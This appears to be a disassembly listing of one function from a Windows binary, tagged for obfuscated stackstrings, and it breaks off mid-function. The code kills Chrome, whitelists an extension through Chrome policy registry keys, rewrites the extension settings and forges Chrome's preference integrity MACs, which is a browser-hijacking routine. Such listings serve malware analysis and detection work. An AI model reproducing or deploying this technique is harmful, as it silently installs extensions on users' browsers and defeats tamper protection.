Function at 0x4d6a10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5122fe
mov eax, dword fs:[0]
push eax
sub esp, 0xc10
mov eax, dword [0x549944]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
lea eax, [ebp - 0x2ac]
push eax
call fcn.004d35c0
add esp, 4
mov byte [ebp - 4], 2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x9f4], esp
lea edx, [ebp - 0x2ac]
push edx
call fcn.004d1510
lea eax, [ebp - 0x27c]
push eax
call fcn.004d9e50
add esp, 0x1c
mov dword [ebp - 0x9ec], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c4]
push ecx
call fcn.004d2ef0
add esp, 4
mov byte [ebp - 4], 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x9e8], esp
lea edx, [ebp - 0x2c4]
push edx
call fcn.004d1510
lea eax, [ebp - 0x2dc]
push eax
call fcn.004d62f0
add esp, 0x1c
mov dword [ebp - 0x9f0], eax
mov byte [ebp - 4], 5
push 0xc
lea ecx, [ebp - 0x248]
call fcn.00499620
lea ecx, [ebp - 0x2dc]
push ecx
lea edx, [ebp - 0x248]
push edx
call fcn.004d6700
add esp, 8
mov byte [ebp - 4], 6
push 0
push str.cmd.exe__c_taskkill__f__im_chrome.exe
call dword [0x51d074]
push 0xbb8
call dword [0x51d0b4]
push 0x104
push 0
lea eax, [ebp - 0x23c]
push eax
call fcn.004e8ed0
add esp, 0xc
push 0x527f0c
lea ecx, [ebp - 0x23c]
push ecx
call fcn.004d6170
add esp, 8
mov dword [ebp - 0x958], eax
cmp dword [ebp - 0x958], 0
jg 0x4d6bbd
mov dword [ebp - 0x980], 0x2711
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.00496680
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2dc]
call fcn.00496520
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c4]
call fcn.004d1a10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x27c]
call fcn.00496520
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2ac]
call fcn.004d1a10
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00496520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00496520
mov eax, dword [ebp - 0x980]
jmp 0x4d80ca
lea edx, [ebp - 0x23c]
push edx
lea ecx, [ebp - 0x2f4]
call fcn.00495660
mov byte [ebp - 4], 7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x9e4], esp
lea eax, [ebp - 0x2f4]
push eax
call fcn.004954d0
lea ecx, [ebp - 0x30c]
push ecx
call fcn.004d93a0
add esp, 0x1c
mov dword [ebp - 0x9e0], eax
mov byte [ebp - 4], 8
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x9dc], esp
lea ecx, [ebp - 0x30c]
call fcn.004d5bf0
push eax
mov ecx, esi
call fcn.004d1670
push 0x68
call fcn.004d9cd0
add esp, 0x1c
push 0x3e8
call dword [0x51d0b4]
push str.js_background.js
push str.9.86.66_0
push 0x527c8c
push 0x527d54
push 0x527e24
lea edx, [ebp - 0x2f4]
push edx
lea eax, [ebp - 0xbbc]
push eax
call fcn.004d0000
add esp, 0xc
mov dword [ebp - 0x97c], eax
mov ecx, dword [ebp - 0x97c]
mov dword [ebp - 0x984], ecx
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x984]
push edx
lea eax, [ebp - 0xb5c]
push eax
call fcn.004a03a0
add esp, 0xc
mov dword [ebp - 0x988], eax
mov ecx, dword [ebp - 0x988]
mov dword [ebp - 0x98c], ecx
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x98c]
push edx
lea eax, [ebp - 0xba4]
push eax
call fcn.004a03a0
add esp, 0xc
mov dword [ebp - 0x990], eax
mov ecx, dword [ebp - 0x990]
mov dword [ebp - 0x994], ecx
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x994]
push edx
lea eax, [ebp - 0xb74]
push eax
call fcn.004a03a0
add esp, 0xc
mov dword [ebp - 0x998], eax
mov ecx, dword [ebp - 0x998]
mov dword [ebp - 0x99c], ecx
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x99c]
push edx
lea eax, [ebp - 0x264]
push eax
call fcn.004a03a0
add esp, 0xc
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xb74]
call fcn.00496520
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xba4]
call fcn.00496520
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xb5c]
call fcn.00496520
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xbbc]
call fcn.00496520
lea ecx, [ebp - 0x264]
call fcn.00499a10
push eax
call fcn.004c70d0
mov ecx, dword [eax + 0xc0]
call ecx
test eax, eax
je 0x4d6d77
mov byte [ebp - 0x942], 1
jmp 0x4d6d7e
mov byte [ebp - 0x942], 0
mov dl, byte [ebp - 0x942]
mov byte [ebp - 0x94e], dl
movzx eax, byte [ebp - 0x94e]
test eax, eax
je 0x4d7086
push 0xb8
lea ecx, [ebp - 0x940]
call fcn.00499620
push 1
push 0x40
push 1
lea ecx, [ebp - 0x264]
push ecx
lea ecx, [ebp - 0x940]
call fcn.004d0e20
mov byte [ebp - 4], 0x12
push 0x98
lea ecx, [ebp - 0x884]
call fcn.00499620
push 1
lea ecx, [ebp - 0x884]
call fcn.004a3360
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x940]
call fcn.004d8870
push eax
lea ecx, [ebp - 0x884]
call fcn.004a4bd0
lea edx, [ebp - 0x48c]
push edx
lea ecx, [ebp - 0x884]
call fcn.004afb00
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x940]
call fcn.004d5c80
push 0
push 0
mov eax, dword [ebp - 0x940]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0x940]
call fcn.00499ab0
lea edx, [ebp - 0x474]
push edx
call fcn.004da290
add esp, 4
mov byte [ebp - 4], 0x15
push str.const_mac__
lea ecx, [ebp - 0x444]
call fcn.00495660
mov byte [ebp - 4], 0x16
push 0x527f24
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x444]
call fcn.00499670
mov ecx, eax
call fcn.00499740
push str.const_channelid_
lea ecx, [ebp - 0x3e4]
call fcn.00495660
mov byte [ebp - 4], 0x17
push 0x527f3c
lea ecx, [ebp + 8]
push ecx
lea ecx, [ebp - 0x3e4]
call fcn.00499670
mov ecx, eax
call fcn.00499740
push str.const_version
lea ecx, [ebp - 0x3cc]
call fcn.00495660
mov byte [ebp - 4], 0x18
push 0x527f50
push 0x54e7c0
lea ecx, [ebp - 0x3cc]
call fcn.00499670
mov ecx, eax
call fcn.00499740
push str.const_bid
lea ecx, [ebp - 0x3b4]
call fcn.00495660
mov byte [ebp - 4], 0x19
push 0x527f60
lea edx, [ebp + 0x20]
push edx
lea ecx, [ebp - 0x3b4]
call fcn.00499670
mov ecx, eax
call fcn.00499740
push 0xb0
lea ecx, [ebp - 0x59c]
call fcn.00499620
push 1
lea ecx, [ebp - 0x59c]
call fcn.004d0f90
mov byte [ebp - 4], 0x1a
push 0x40
push 2
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x59c]
call fcn.004d82b0
lea ecx, [ebp - 0x444]
push ecx
lea edx, [ebp - 0x59c]
push edx
call fcn.004a02f0
add esp, 8
push 0x4d0a70
lea ecx, [ebp - 0x59c]
call fcn.004d1df0
lea eax, [ebp - 0x3e4]
push eax
lea ecx, [ebp - 0x59c]
push ecx
call fcn.004a02f0
add esp, 8
push 0x4d0a70
lea ecx, [ebp - 0x59c]
call fcn.004d1df0
lea edx, [ebp - 0x3cc]
push edx
lea eax, [ebp - 0x59c]
push eax
call fcn.004a02f0
add esp, 8
push 0x4d0a70
lea ecx, [ebp - 0x59c]
call fcn.004d1df0
lea ecx, [ebp - 0x3b4]
push ecx
lea edx, [ebp - 0x59c]
push edx
call fcn.004a02f0
add esp, 8
push 0x4d0a70
lea ecx, [ebp - 0x59c]
call fcn.004d1df0
lea eax, [ebp - 0x48c]
push eax
lea ecx, [ebp - 0x59c]
push ecx
call fcn.004a02f0
add esp, 8
lea ecx, [ebp - 0x59c]
call fcn.004d5cb0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x59c]
call fcn.004d1fd0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x3b4]
call fcn.00496520
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x3cc]
call fcn.00496520
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x3e4]
call fcn.00496520
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x444]
call fcn.00496520
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x474]
call fcn.00496520
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x48c]
call fcn.00496520
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x884]
call fcn.004a5cb0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x940]
call fcn.004d1fa0
jmp 0x4d712e
mov dword [ebp - 0x9a0], 0x2712
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x264]
call fcn.00496520
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30c]
call fcn.004d1a10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2f4]
call fcn.00496520
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.00496680
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2dc]
call fcn.00496520
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c4]
call fcn.004d1a10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x27c]
call fcn.00496520
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2ac]
call fcn.004d1a10
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00496520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00496520
mov eax, dword [ebp - 0x9a0]
jmp 0x4d80ca
mov ecx, 8
mov esi, 0x527f64
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x34]
mov dword [ebp - 0x954], edx
mov eax, dword [ebp - 0x954]
add eax, 1
mov dword [ebp - 0x9a4], eax
mov ecx, dword [ebp - 0x954]
mov dl, byte [ecx]
mov byte [ebp - 0x94d], dl
add dword [ebp - 0x954], 1
cmp byte [ebp - 0x94d], 0
jne 0x4d7156
mov eax, dword [ebp - 0x954]
sub eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x9a8], eax
mov ecx, dword [ebp - 0x9a8]
shl ecx, 1
mov dword [ebp - 0x968], ecx
lea edx, [ebp - 0x24c]
push edx
lea eax, [ebp - 0x888]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push 0x527f88
push 0x80000002
call fcn.004c70d0
mov ecx, dword [eax + 0xd8]
call ecx
mov dword [ebp - 0x948], eax
mov dword [ebp - 0x94c], 3
cmp dword [ebp - 0x948], 0
je 0x4d7239
cmp dword [ebp - 0x94c], 0
jl 0x4d7239
push 0xa
call dword [0x51d0b4]
lea edx, [ebp - 0x24c]
push edx
lea eax, [ebp - 0x888]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREPoliciesGoogleChromeExtensionInstallWhitelist
push 0x80000002
call fcn.004c70d0
mov ecx, dword [eax + 0xd8]
call ecx
mov dword [ebp - 0x948], eax
mov edx, dword [ebp - 0x94c]
sub edx, 1
mov dword [ebp - 0x94c], edx
jmp 0x4d71d6
cmp dword [ebp - 0x948], 0
je 0x4d72ee
mov dword [ebp - 0x9ac], 0x186a1
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x264]
call fcn.00496520
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30c]
call fcn.004d1a10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2f4]
call fcn.00496520
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.00496680
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2dc]
call fcn.00496520
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c4]
call fcn.004d1a10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x27c]
call fcn.00496520
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2ac]
call fcn.004d1a10
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00496520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00496520
mov eax, dword [ebp - 0x9ac]
jmp 0x4d80ca
mov dword [ebp - 0x94c], 3
mov eax, dword [ebp - 0x968]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 1
push 0
push 0x528000
mov edx, dword [ebp - 0x888]
push edx
call fcn.004c70d0
mov eax, dword [eax + 0xdc]
call eax
mov dword [ebp - 0x948], eax
cmp dword [ebp - 0x948], 0
je 0x4d737f
cmp dword [ebp - 0x94c], 0
jl 0x4d737f
push 0xa
call dword [0x51d0b4]
mov ecx, dword [ebp - 0x968]
push ecx
lea edx, [ebp - 0x34]
push edx
push 1
push 0
push 0x528004
mov eax, dword [ebp - 0x888]
push eax
call fcn.004c70d0
mov ecx, dword [eax + 0xdc]
call ecx
mov dword [ebp - 0x948], eax
mov edx, dword [ebp - 0x94c]
sub edx, 1
mov dword [ebp - 0x94c], edx
jmp 0x4d7326
cmp dword [ebp - 0x948], 0
je 0x4d7434
mov dword [ebp - 0x9b0], 0x186a2
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x264]
call fcn.00496520
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30c]
call fcn.004d1a10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2f4]
call fcn.00496520
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.00496680
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2dc]
call fcn.00496520
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c4]
call fcn.004d1a10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x27c]
call fcn.00496520
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2ac]
call fcn.004d1a10
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00496520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00496520
mov eax, dword [ebp - 0x9b0]
jmp 0x4d80ca
push 0x104
push 0
lea eax, [ebp - 0x138]
push eax
call fcn.004e8ed0
add esp, 0xc
push str.Default
lea ecx, [ebp - 0x138]
push ecx
call fcn.004d6230
add esp, 8
mov dword [ebp - 0x958], eax
cmp dword [ebp - 0x958], 0
jg 0x4d7519
mov dword [ebp - 0x9b4], 0x2713
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x264]
call fcn.00496520
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30c]
call fcn.004d1a10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2f4]
call fcn.00496520
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.00496680
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2dc]
call fcn.00496520
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c4]
call fcn.004d1a10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x27c]
call fcn.00496520
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2ac]
call fcn.004d1a10
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00496520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00496520
mov eax, dword [ebp - 0x9b4]
jmp 0x4d80ca
push 0xb8
lea ecx, [ebp - 0x6c8]
call fcn.00499620
push 1
push 0x40
push 0x21
lea edx, [ebp - 0x138]
push edx
lea ecx, [ebp - 0x6c8]
call fcn.004d0e80
mov byte [ebp - 4], 0x1b
push 0x74
lea ecx, [ebp - 0x610]
call fcn.00499620
lea ecx, [ebp - 0x610]
call fcn.004a3cf0
mov byte [ebp - 4], 0x1c
push 0x18
lea ecx, [ebp - 0x294]
call fcn.00499620
push 0
lea ecx, [ebp - 0x294]
call fcn.004a4150
mov byte [ebp - 4], 0x1d
push 1
lea eax, [ebp - 0x294]
push eax
lea ecx, [ebp - 0x6c8]
push ecx
lea ecx, [ebp - 0x610]
call fcn.004ad8a0
mov byte [ebp - 0x941], al
movzx edx, byte [ebp - 0x941]
test edx, edx
jne 0x4d768f
lea ecx, [ebp - 0x6c8]
call fcn.004d5c80
mov dword [ebp - 0x9b8], 0x2714
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x294]
call fcn.004a49c0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x610]
call fcn.004d1ad0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x6c8]
call fcn.004d1fa0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x264]
call fcn.00496520
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30c]
call fcn.004d1a10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2f4]
call fcn.00496520
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.00496680
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2dc]
call fcn.00496520
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c4]
call fcn.004d1a10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x27c]
call fcn.00496520
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2ac]
call fcn.004d1a10
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00496520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00496520
mov eax, dword [ebp - 0x9b8]
jmp 0x4d80ca
lea ecx, [ebp - 0x6c8]
call fcn.004d5c80
push 0x74
lea ecx, [ebp - 0x73c]
call fcn.00499620
lea ecx, [ebp - 0x73c]
call fcn.004a3cf0
mov byte [ebp - 4], 0x1e
push 0x18
lea ecx, [ebp - 0x33c]
call fcn.00499620
push 0
lea ecx, [ebp - 0x33c]
call fcn.004a4150
mov byte [ebp - 4], 0x1f
mov eax, dword [0x5492d8]
push eax
lea ecx, [ebp - 0xa24]
call fcn.00495660
mov byte [ebp - 4], 0x20
push 1
lea ecx, [ebp - 0x33c]
push ecx
lea edx, [ebp - 0xa24]
push edx
lea ecx, [ebp - 0x73c]
call fcn.004ad950
mov byte [ebp - 0x941], al
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xa24]
call fcn.00496520
movzx eax, byte [ebp - 0x941]
test eax, eax
jne 0x4d781b
mov dword [ebp - 0x9bc], 0x2714
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x33c]
call fcn.004a49c0
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x73c]
call fcn.004d1ad0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x294]
call fcn.004a49c0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x610]
call fcn.004d1ad0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x6c8]
call fcn.004d1fa0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x264]
call fcn.00496520
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x30c]
call fcn.004d1a10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2f4]
call fcn.00496520
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.00496680
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2dc]
call fcn.00496520
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2c4]
call fcn.004d1a10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x27c]
call fcn.00496520
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2ac]
call fcn.004d1a10
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00496520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00496520
mov eax, dword [ebp - 0x9bc]
jmp 0x4d80ca
push str.extensions.settings.
lea ecx, [ebp - 0x354]
call fcn.00495660
mov byte [ebp - 4], 0x21
push 0x528028
lea ecx, [ebp - 0x354]
call fcn.00499740
lea ecx, [ebp - 0x33c]
push ecx
call fcn.004d3bb0
add esp, 4
lea ecx, [ebp - 0xc1c]
call fcn.004a3c20
mov dword [ebp - 0x9c0], eax
mov edx, dword [ebp - 0x9c0]
mov dword [ebp - 0x9c4], edx
mov byte [ebp - 4], 0x22
mov eax, dword [ebp - 0x9c4]
mov dword [ebp - 0x964], eax
lea ecx, [ebp - 0x33c]
push ecx
lea edx, [ebp - 0x324]
push edx
mov eax, dword [ebp - 0x964]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x964]
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xc1c]
call fcn.004a4970
push 0x52804c
lea ecx, [ebp - 0xa54]
call fcn.00495660
mov byte [ebp - 4], 0x25
push 0x528054
lea ecx, [ebp - 0xa3c]
call fcn.00495660
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xa54]
push ecx
lea edx, [ebp - 0xa3c]
push edx
lea eax, [ebp - 0x324]
push eax
call fcn.004d8c00
add esp, 0xc
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0xa3c]
call fcn.00496520
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xa54]
call fcn.00496520
push 0x52733f
lea ecx, [ebp - 0xa84]
call fcn.00495660
mov byte [ebp - 4], 0x27
push 0x528058
lea ecx, [ebp - 0xa6c]
call fcn.00495660
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xa84]
push ecx
lea edx, [ebp - 0xa6c]
push edx
lea eax, [ebp - 0x324]
push eax
call fcn.004d8c00
add esp, 0xc
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xa6c]
call fcn.00496520
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xa84]
call fcn.00496520
push 0x527349
lea ecx, [ebp - 0xab4]
call fcn.00495660
mov byte [ebp - 4], 0x29
push 0x52805c
lea ecx, [ebp - 0xa9c]
call fcn.00495660
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xab4]
push ecx
lea edx, [ebp - 0xa9c]
push edx
lea eax, [ebp - 0x324]
push eax
call fcn.004d8c00
add esp, 0xc
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0xa9c]
call fcn.00496520
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xab4]
call fcn.00496520
lea ecx, [ebp - 0x324]
push ecx
lea edx, [ebp - 0x354]
push edx
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0xb8c]
push ecx
call fcn.004cff70
add esp, 0xc
mov dword [ebp - 0x9c8], eax
mov edx, dword [ebp - 0x9c8]
mov dword [ebp - 0x9cc], edx
mov byte [ebp - 4], 0x2b
mov eax, dword [ebp - 0x9cc]
push eax
lea ecx, [ebp - 0x4ec]
push ecx
call fcn.004cff30
add esp, 0xc
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xb8c]
call fcn.00496520
lea edx, [ebp - 0x4ec]
push edx
lea eax, [ebp - 0x36c]
push eax
call fcn.004d9550
add esp, 8
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x248]
call fcn.0049bc80
push eax
push 0
lea ecx, [ebp - 0x248]
call fcn.00496bd0
push eax
lea ecx, [ebp - 0x36c]
call fcn.0049bc60
push eax
push 0
lea ecx, [ebp - 0x36c]
call fcn.00496bb0
push eax
lea ecx, [ebp - 0x384]
push ecx
call fcn.004d0aa0
add esp, 0x14
mov byte [ebp - 4], 0x2f
lea edx, [ebp - 0x384]
push edx
call fcn.004d94f0
add esp, 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x9d8], esp
lea eax, [ebp - 0x33c]
push eax
call fcn.004a3e20
mov dword [ebp - 0x9d4], eax
mov byte [ebp - 4], 0x30
push 0x528078
push 0x52806c
push 0x528060
lea ecx, [ebp - 0x294]
call fcn.004a5400
mov ecx, eax
call fcn.004a5400
mov ecx, eax
call fcn.004a5400
mov byte [ebp - 4], 0x2f
mov ecx, eax
call fcn.004a4b40
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xa0c], esp
lea edx, [ebp - 0x384]
push edx
call fcn.004a40e0
mov dword [ebp - 0xa08], eax
mov byte [ebp - 4], 0x31
push str.hemlmgggokggmncimchkllhcjcaimcle
push str.settings
push str.extensions
push 0x5280a8
push 0x52809c
lea ecx, [ebp - 0x294]
call fcn.004a5400
mov ecx, eax
call fcn.004a5400
mov ecx, eax
call fcn.004a5400
mov ecx, eax
call fcn.004a5400
mov ecx, eax
call fcn.004a5400
mov byte [ebp - 4], 0x2f
mov ecx, eax
call fcn.004a4b40
push 0x18
lea ecx, [ebp - 0x39c]
call fcn.00499620
push str.macs
push str.protection
lea ecx, [ebp - 0x294]
call fcn.004a5400
mov ecx, eax
call fcn.004a5400
push eax
lea ecx, [ebp - 0x39c]
call fcn.004a3e20
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0xbdc]
call fcn.004a3c20
mov dword [ebp - 0x9d0], eax
mov eax, dword [ebp - 0x9d0]
mov dword [ebp - 0x96c], eax
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x96c]
mov dword [ebp - 0x960], ecx
lea edx, [ebp - 0x39c]
push edx
lea eax, [ebp - 0x414]
push eax
mov ecx, dword [ebp - 0x960]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x960]
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xbdc]
call fcn.004a4970
push str.u003C
lea ecx, [ebp - 0xacc]
call fcn.00495660
mov byte [ebp - 4], 0x36
push 0x528108
lea ecx, [ebp - 0xb44]
call fcn.00495660
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0xacc]
push ecx
lea edx, [ebp - 0xb44]
push edx
lea eax, [ebp - 0x414]
push eax
call fcn.004d8c00
add esp, 0xc
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xb44]
call fcn.00496520
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xacc]
call fcn.00496520
push 0x52734a
lea ecx, [ebp - 0xafc]
call fcn.00495660
mov byte [ebp - 4], 0x38
push 0x52810c
lea ecx, [ebp - 0xae4]
call fcn.00495660
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0xafc]
push ecx
lea edx, [ebp - 0xae4]
push edx
lea eax, [ebp - 0x324]
push eax
call fcn.004d8c00
add esp, 0xc
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0xae4]
call fcn.00496520
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xafc]
call fcn.00496520
push 0x52734b
lea ecx, [ebp - 0xb2c]
call fcn.00495660
mov byte [ebp - 4], 0x3a
push 0x528110
lea ecx, [ebp - 0xb14]
call fcn.00495660
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0xb2c]
push ecx
lea edx, [ebp - 0xb14]
push edx
lea eax, [ebp - 0x324]
push eax
call fcn.004d8c00
add esp, 0xc
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0xb14]
call fcn.00496520
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xb2c]
call fcn.00496520
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x27c]
push edx
lea eax, [ebp - 0x4d4]
push eax
call fcn.004cff70
add esp, 0xc
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x4d4]
push ecx
lea edx, [ebp - 0x3fc]
push edx
call fcn.004d9550
add esp, 8
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x248]
call fcn.0049bc80
push eax
push 0
lea ecx, [ebp - 0x248]
call fcn.00496bd0
push eax
lea ecx, [ebp - 0x3fc]
call fcn.0049bc60
push eax
push 0
lea ecx, [ebp - 0x3fc]
call fcn.00496bb0
push eax
lea eax, [ebp - 0x42c]
push eax
call fcn.004d0aa0
add esp, 0x14
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x42c]
push ecx
call fcn.004d94f0
add esp, 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xa04], esp
lea edx, [ebp - 0x42c]
push edx
call fcn.004a40e0
mov dword [ebp - 0xa00], eax
mov byte [ebp - 4], 0x3f
push str.super_mac
push 0x528114
lea ecx, [ebp - 0x294]
call fcn.004a5400
mov ecx, eax
call fcn.004a5400
mov byte [ebp - 4], 0x3e
mov ecx, eax
call fcn.004a4b40
lea ecx, [ebp - 0xbfc]
call fcn.004a3c20
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0x970]
mov dword [ebp - 0x974], eax
mov byte [ebp - 4], 0x40
mov ecx, dword [ebp - 0x974]
mov dword [ebp - 0x95c], ecx
lea edx, [ebp - 0x294]
push edx
lea eax, [ebp - 0x4bc]
push eax
mov ecx, dword [ebp - 0x95c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x95c]
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0xbfc]
call fcn.004a4970
push 0xb0
lea ecx, [ebp - 0x7ec]
call fcn.00499620
push 1
lea ecx, [ebp - 0x7ec]
call fcn.004d0f90
mov byte [ebp - 4], 0x43
push 0x40
push 2
lea ecx, [ebp - 0x138]
push ecx
lea ecx, [ebp - 0x7ec]
call fcn.004d82e0
lea edx, [ebp - 0x4bc]
